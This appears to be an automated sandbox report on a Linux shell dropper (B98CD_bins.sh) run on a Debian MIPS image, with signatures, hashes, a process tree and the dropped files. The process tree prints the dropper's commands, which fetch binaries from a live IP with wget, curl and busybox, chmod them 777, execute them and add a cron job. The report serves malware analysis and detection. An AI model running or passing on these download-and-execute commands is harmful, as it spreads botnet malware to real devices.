Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    21-11-2024 07:01

General

  • Target

    B98CD_bins.sh

  • Size

    10KB

  • MD5

    0a7d8be88ccc96d0d1a91c27f63e3a6c

  • SHA1

    ba922eff12ebe57a6064f8773d16d9a51cde88f1

  • SHA256

    7b26e1067afb6e7ff3edc8cc34bd25819a0439cedcfefe6e8a9a28cb62b56277

  • SHA512

    3279e6ff5af91dc2a1ec24a55dcfa8fb40b686359dcc57febf40fa24673159ee6946521e9e8212d9ea533e160e94041cc66c442130019c5d3dc537cfb83e48b3

  • SSDEEP

    192:my+UaEM28EdM7z3479lW7LvcN1vL+Us+U0+UEdUTUHUFCOv9lMLv3BfBx7amn78V:nxMQiCSyW5dCyh/xCeyW5dCyY

Malware Config

Signatures

  • Contacts a large (1577) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 25 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/B98CD_bins.sh
    /tmp/B98CD_bins.sh
    1⤵
      PID:717
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:720
        • /usr/bin/wget
          wget http://87.120.125.191/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
          • Writes file to tmp directory
          PID:725
        • /usr/bin/curl
          curl -O http://87.120.125.191/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
          • Writes file to tmp directory
          PID:739
        • /bin/busybox
          /bin/busybox wget http://87.120.125.191/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
          • Writes file to tmp directory
          PID:746
        • /bin/chmod
          chmod 777 AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
          • File and Directory Permissions Modification
          PID:748
        • /tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          ./AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
          • Executes dropped EXE
          PID:749
        • /bin/rm
          rm AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
            PID:751
          • /usr/bin/wget
            wget http://87.120.125.191/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
            • Writes file to tmp directory
            PID:752
          • /usr/bin/curl
            curl -O http://87.120.125.191/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
            • Writes file to tmp directory
            PID:753
          • /bin/busybox
            /bin/busybox wget http://87.120.125.191/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
            • Writes file to tmp directory
            PID:754
          • /bin/chmod
            chmod 777 Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
            • File and Directory Permissions Modification
            PID:755
          • /tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            ./Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
            • Executes dropped EXE
            PID:756
          • /bin/rm
            rm Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
              PID:758
            • /usr/bin/wget
              wget http://87.120.125.191/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              2⤵
              • Writes file to tmp directory
              PID:759
            • /usr/bin/curl
              curl -O http://87.120.125.191/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:760
            • /bin/busybox
              /bin/busybox wget http://87.120.125.191/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              2⤵
              • Writes file to tmp directory
              PID:761
            • /bin/chmod
              chmod 777 7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              2⤵
              • File and Directory Permissions Modification
              PID:762
            • /tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              ./7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              2⤵
              • Executes dropped EXE
              PID:763
            • /bin/rm
              rm 7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              2⤵
                PID:765
              • /usr/bin/wget
                wget http://87.120.125.191/bins/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                2⤵
                • Writes file to tmp directory
                PID:766
              • /usr/bin/curl
                curl -O http://87.120.125.191/bins/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                2⤵
                • Writes file to tmp directory
                PID:767
              • /bin/busybox
                /bin/busybox wget http://87.120.125.191/bins/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                2⤵
                • Writes file to tmp directory
                PID:772
              • /bin/chmod
                chmod 777 jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                2⤵
                • File and Directory Permissions Modification
                PID:779
              • /tmp/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                ./jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                2⤵
                • Executes dropped EXE
                PID:780
              • /bin/rm
                rm jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                2⤵
                  PID:784
                • /usr/bin/wget
                  wget http://87.120.125.191/bins/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                  2⤵
                  • Writes file to tmp directory
                  PID:785
                • /usr/bin/curl
                  curl -O http://87.120.125.191/bins/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                  2⤵
                  • Writes file to tmp directory
                  PID:809
                • /bin/busybox
                  /bin/busybox wget http://87.120.125.191/bins/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                  2⤵
                  • Writes file to tmp directory
                  PID:819
                • /bin/chmod
                  chmod 777 UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                  2⤵
                  • File and Directory Permissions Modification
                  PID:821
                • /tmp/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                  ./UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                  2⤵
                  • Executes dropped EXE
                  PID:822
                • /bin/rm
                  rm UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                  2⤵
                    PID:824
                  • /usr/bin/wget
                    wget http://87.120.125.191/bins/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                    2⤵
                    • Writes file to tmp directory
                    PID:825
                  • /usr/bin/curl
                    curl -O http://87.120.125.191/bins/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:826
                  • /bin/busybox
                    /bin/busybox wget http://87.120.125.191/bins/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                    2⤵
                    • Writes file to tmp directory
                    PID:827
                  • /bin/chmod
                    chmod 777 T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                    2⤵
                    • File and Directory Permissions Modification
                    PID:828
                  • /tmp/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                    ./T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                    2⤵
                    • Executes dropped EXE
                    PID:829
                  • /bin/rm
                    rm T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                    2⤵
                      PID:831
                    • /usr/bin/wget
                      wget http://87.120.125.191/bins/7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
                      2⤵
                      • Writes file to tmp directory
                      PID:832
                    • /usr/bin/curl
                      curl -O http://87.120.125.191/bins/7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
                      2⤵
                      • Writes file to tmp directory
                      PID:833
                    • /bin/busybox
                      /bin/busybox wget http://87.120.125.191/bins/7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
                      2⤵
                      • Writes file to tmp directory
                      PID:837
                    • /bin/chmod
                      chmod 777 7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
                      2⤵
                      • File and Directory Permissions Modification
                      PID:844
                    • /tmp/7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
                      ./7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
                      2⤵
                      • Executes dropped EXE
                      PID:846
                    • /bin/rm
                      rm 7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
                      2⤵
                        PID:849
                      • /usr/bin/wget
                        wget http://87.120.125.191/bins/Nfs1F7PfBZSF5WdfapMbJC07hG8L2urNXq
                        2⤵
                        • Writes file to tmp directory
                        PID:850
                      • /usr/bin/curl
                        curl -O http://87.120.125.191/bins/Nfs1F7PfBZSF5WdfapMbJC07hG8L2urNXq
                        2⤵
                        • Writes file to tmp directory
                        PID:873
                      • /bin/busybox
                        /bin/busybox wget http://87.120.125.191/bins/Nfs1F7PfBZSF5WdfapMbJC07hG8L2urNXq
                        2⤵
                        • Writes file to tmp directory
                        PID:874
                      • /bin/chmod
                        chmod 777 Nfs1F7PfBZSF5WdfapMbJC07hG8L2urNXq
                        2⤵
                        • File and Directory Permissions Modification
                        PID:875
                      • /tmp/Nfs1F7PfBZSF5WdfapMbJC07hG8L2urNXq
                        ./Nfs1F7PfBZSF5WdfapMbJC07hG8L2urNXq
                        2⤵
                        • Executes dropped EXE
                        • Renames itself
                        • Reads runtime system information
                        PID:876
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:878
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                              • Reads runtime system information
                              PID:879
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:880
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:881
                          • /bin/rm
                            rm Nfs1F7PfBZSF5WdfapMbJC07hG8L2urNXq
                            2⤵
                              PID:883
                            • /usr/bin/wget
                              wget http://87.120.125.191/bins/YCnuHC0u0DjgERQOBQlOAcckWPLnk2qNbu
                              2⤵
                                PID:886
                              • /usr/bin/curl
                                curl -O http://87.120.125.191/bins/YCnuHC0u0DjgERQOBQlOAcckWPLnk2qNbu
                                2⤵
                                  PID:967
                                • /bin/busybox
                                  /bin/busybox wget http://87.120.125.191/bins/YCnuHC0u0DjgERQOBQlOAcckWPLnk2qNbu
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:968
                                • /bin/chmod
                                  chmod 777 YCnuHC0u0DjgERQOBQlOAcckWPLnk2qNbu
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:981
                                • /tmp/YCnuHC0u0DjgERQOBQlOAcckWPLnk2qNbu
                                  ./YCnuHC0u0DjgERQOBQlOAcckWPLnk2qNbu
                                  2⤵
                                  • Executes dropped EXE
                                  PID:982
                                • /bin/rm
                                  rm YCnuHC0u0DjgERQOBQlOAcckWPLnk2qNbu
                                  2⤵
                                    PID:984
                                  • /usr/bin/wget
                                    wget http://87.120.125.191/bins/0sThW9ei0gGT8nX91Izp157RLtJuQC6YHw
                                    2⤵
                                      PID:985

                                  Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  • /tmp/7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb

                                    Filesize

                                    99KB

                                    MD5

                                    9438d9bc392bcf300a5583b6df5bc8f6

                                    SHA1

                                    375a6ae34b516f6f3eeea8030c4084f585017efa

                                    SHA256

                                    68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                    SHA512

                                    1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                  • /tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD

                                    Filesize

                                    141KB

                                    MD5

                                    3ca8decdb1e52c423c521bfff02ac200

                                    SHA1

                                    8621ecd6807109b8541912ad9e134f6fb49bfd48

                                    SHA256

                                    dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                    SHA512

                                    b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                  • /tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI

                                    Filesize

                                    107KB

                                    MD5

                                    eb9c3a0de91fcf16ba17cb24608df68c

                                    SHA1

                                    09d95a7d70d5e115d103be51edff7c498d272fac

                                    SHA256

                                    dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                    SHA512

                                    9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                  • /tmp/Nfs1F7PfBZSF5WdfapMbJC07hG8L2urNXq

                                    Filesize

                                    151KB

                                    MD5

                                    3c90d5820bddcf7c5d1bd21dfa49d958

                                    SHA1

                                    5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                    SHA256

                                    bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                    SHA512

                                    54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                  • /tmp/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV

                                    Filesize

                                    111KB

                                    MD5

                                    701e7a55a4f3650f5feee92a9860e5fc

                                    SHA1

                                    6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                    SHA256

                                    ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                    SHA512

                                    7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                  • /tmp/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G

                                    Filesize

                                    151KB

                                    MD5

                                    6c583043d91c55aa470c08c87058e917

                                    SHA1

                                    abf65a5b9bba69980278ad09356e53de8bb89439

                                    SHA256

                                    2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                    SHA512

                                    82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                  • /tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL

                                    Filesize

                                    98KB

                                    MD5

                                    5141342d0df8699fa32a6b066a0c592e

                                    SHA1

                                    8157673225bd5182f16215e2aa823a25ca2d4fbc

                                    SHA256

                                    54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                    SHA512

                                    d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                  • /tmp/YCnuHC0u0DjgERQOBQlOAcckWPLnk2qNbu

                                    Filesize

                                    111KB

                                    MD5

                                    ca897a38f23ec23521ce0b1b83f8422d

                                    SHA1

                                    b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                    SHA256

                                    043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                    SHA512

                                    10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                  • /tmp/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL

                                    Filesize

                                    127KB

                                    MD5

                                    89077b7bd4bcafca7713be43635c4862

                                    SHA1

                                    fc02edb8fba29ea8ee99e6157ef8560334530052

                                    SHA256

                                    78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                    SHA512

                                    1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                  • /var/spool/cron/crontabs/tmp.Res9MB

                                    Filesize

                                    210B

                                    MD5

                                    eb166d598c1520e148b802a87fae3ce3

                                    SHA1

                                    17bef8b6ed5aa6098e6d05a4bfaf9e7d5eb0bed6

                                    SHA256

                                    4b22192a9a5bf29c6da2e2688363fc8c072de0608a004f1097067112159053d0

                                    SHA512

                                    6657fd5f739b46df63432db9de5833a014bd7b6a3ef6b62cc1f27fbd9e2bbca1b2e93fac1462492bcf70af3dab6e444339e62dee75d827e432deec4a720ea96e